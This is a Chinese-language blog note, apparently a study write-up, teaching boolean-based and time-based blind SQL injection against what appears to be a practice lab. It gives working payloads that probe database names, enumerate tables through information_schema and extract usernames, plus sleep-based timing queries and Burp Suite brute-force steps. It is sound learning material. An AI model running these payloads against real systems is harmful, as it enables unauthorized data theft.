笔记:sql盲注

笔记:sql盲注

XXXXXXXXXXXXXXX

2025-03-25 发布8 浏览 · 0 点赞 · 0 收藏

盲注主要分为两种,一种为时间类型盲注,一种为布尔类型盲注

布尔型:

判断是否是布尔类型的:当一个界面存在注入,但是没有显示位,没有SQL语句执行错误信息,由于布尔类型的注入只会告知是或者不是,所以只能通过页面返回的对与错来进行一个SQL的注入。

1、判断输入是否有闭合符
2、判断闭合符
3、查询当前数据库库名
4、查询指定库的所有表
5、查询字段名
6、查询字段内容

1、判断输入是否有闭合符

payload:

id=1 and 1=2

如果显示you are in 表示成功进入,则存在闭合符,即是字符型,因为1=2 这个假命题被当成一个字符串处理而不是判断语句。

2、判断闭合符

  • 首先猜闭合符,例如 猜 ') 如果没显示you are in 表示猜中了一部分
  • 然后把 ') 的一部分去掉变成 ' ,此时显示you are in 说明猜中了,闭合符就是 '
  • image.png

3、判断当前数据库

(1)判断数据库名长度

判断当前数据库名长度(知道数据库名长度就可以减少爆破时的攻击次数,大大减少网页瘫痪或者被对手发现的可能)

id=1' and length(database()) =n --+     --n是指猜的数字

image.png

(2)猜数据库名

知道了数据库名长度是8,我们也可以通过同样的方法,通过是否能进入页面判断这个数据库名

id=1' and substr(database(),1,1)='s' --+

image.png
布尔盲注主要靠猜!当我们输入的东西猜对了,页面就显示you are in,如果没猜对就啥也不显示,当我们想知道数据库库名时,就截取指定库的第一个字母从A-Z逐个猜,这种没有技术含量但重复性很大的事,我们可以交给一个程序 Burp Suite进行爆破 , 我们还需要一个FoxyProxy代理。

(3) Burp Suite进行爆破。

当我们将FoxyProxy打开,把代理权给Burp Suite,打开Burp Suite进行抓包。这个包就是我们猜数据库名的那条指令。
image.png
将这个包发送到intruder进行爆破
爆破类型我们是多个位置爆破所以选择Cluster bomb,因为我们需要爆破的有两个位置分别是

  • 数据库名的第几位
  • 数据库名
    所以我们把这两个位置选中 add
    image.png
    接下来我们为这两个位置写字典
    因为字典一是代表数据库名的第几个字母,我们已经知道数据库名是8个字母组成,所以字典一的内容就是1-8。字典二是爆破数据库名,数据库名是由字母组成所以字典二是字母a-z。
    image.png
    image.png
    设置好字典以后就可以开始爆破了。爆破成功后排序就可以得到数据库名:security.
    image.png

4、判断指定库的所有表

(1)判断当前库有多少个表

id=1' and (select count(table_name) from information_schema.tables
 where table_schema='security')=4 -- -

(2)判断指定库中表名最多有几个字母

id=1' and length((select table_name from information_scheam.tables 
where table_schema=database() limit 0,1))=6 -- -

(3)Burp Suite进行爆破。

爆破位置:?id=1 and substr((select table_name from information_schema.tables
where table_schema=database() limit 0,1),1,1)='a'

字典一:security库中有4个表,所以字典一内容是0-3

字典二:指定库中最长表名有n个字母,所以字典二内容是1-n(可以挨个试试看看最长是几位,我在爆破时直接取了20)

字典三:指定表的表名,所以字典内容是字母a-z

?id=1 and substr((select table_name from information_schema.tables
where table_schema=database() limit 0,1),1,1)='a'-- -

6、爆破内容

(1)判断内容中有几个用户

id=1' and (select count(username) from security.users)=13 -- -

(2)判断内容名有最多有几个字母

id=1' and length((select username from security.users limit 0,1))=4 -- -

(3) Burp Suite进行爆破。
爆破位置:?id=1 and substr((select username from security.users limit 0,1),1,1)='a'-- -

?id=1 and substr((select username from security.users limit 0,1),1,1)=’a’-- -

时间型:

web页面只返回一个正常页面。利用页面响应时间不同,逐个猜解数据

  • 页面上没有显示位和SQL语句执行的错误信息
  • 正确执行和错误执行的返回界面一样
    True页面
    image.png
    False页面
    image.png

3、函数

sleep()

语法:

sleep(参数)
#参数为休眠时长,以秒为单位,可以为小数

用法:

SELECT sleep(3);
#延迟3秒查询

if()

语法:

if(condition,true,false)

用法:

SELECT if(1=1,sleep(0),sleep(3));
#1=1为True,响应延迟0秒

SELECT if(1=2,sleep(0),sleep(3));
#1=2为False,响应延迟3秒

4、判断闭合符

?id=1 and sleep(2)

?id=1' and sleep(2)--+

?id=1" and sleep(2)--+

?id=1') and sleep(2)--+

?id=1") and sleep(2)--+

#哪一种是2秒才响应就是哪种
image.png

5、构造paylod

?id=1' and if(ascii(substr((select database()),1,1))>=ASCII码,sleep(0),sleep(3))--+

?id=1' and if(ascii(substr((select database()),1,1))<=ASCII码,sleep(0),sleep(3))--+

#用二分法将第一位字符验证出来
?id=1' and if(ascii(substr((select database()),2,1))>=ASCII码,sleep(0),sleep(3))--+

?id=1' and if(ascii(substr((select database()),2,1))<=ASCII码,sleep(0),sleep(3))--+

#用二分法将第二位字符验证出来
以此类推最终得到所有字符(与布尔型一样可以爆破)

请前往 登录/注册 即可发表您的看法…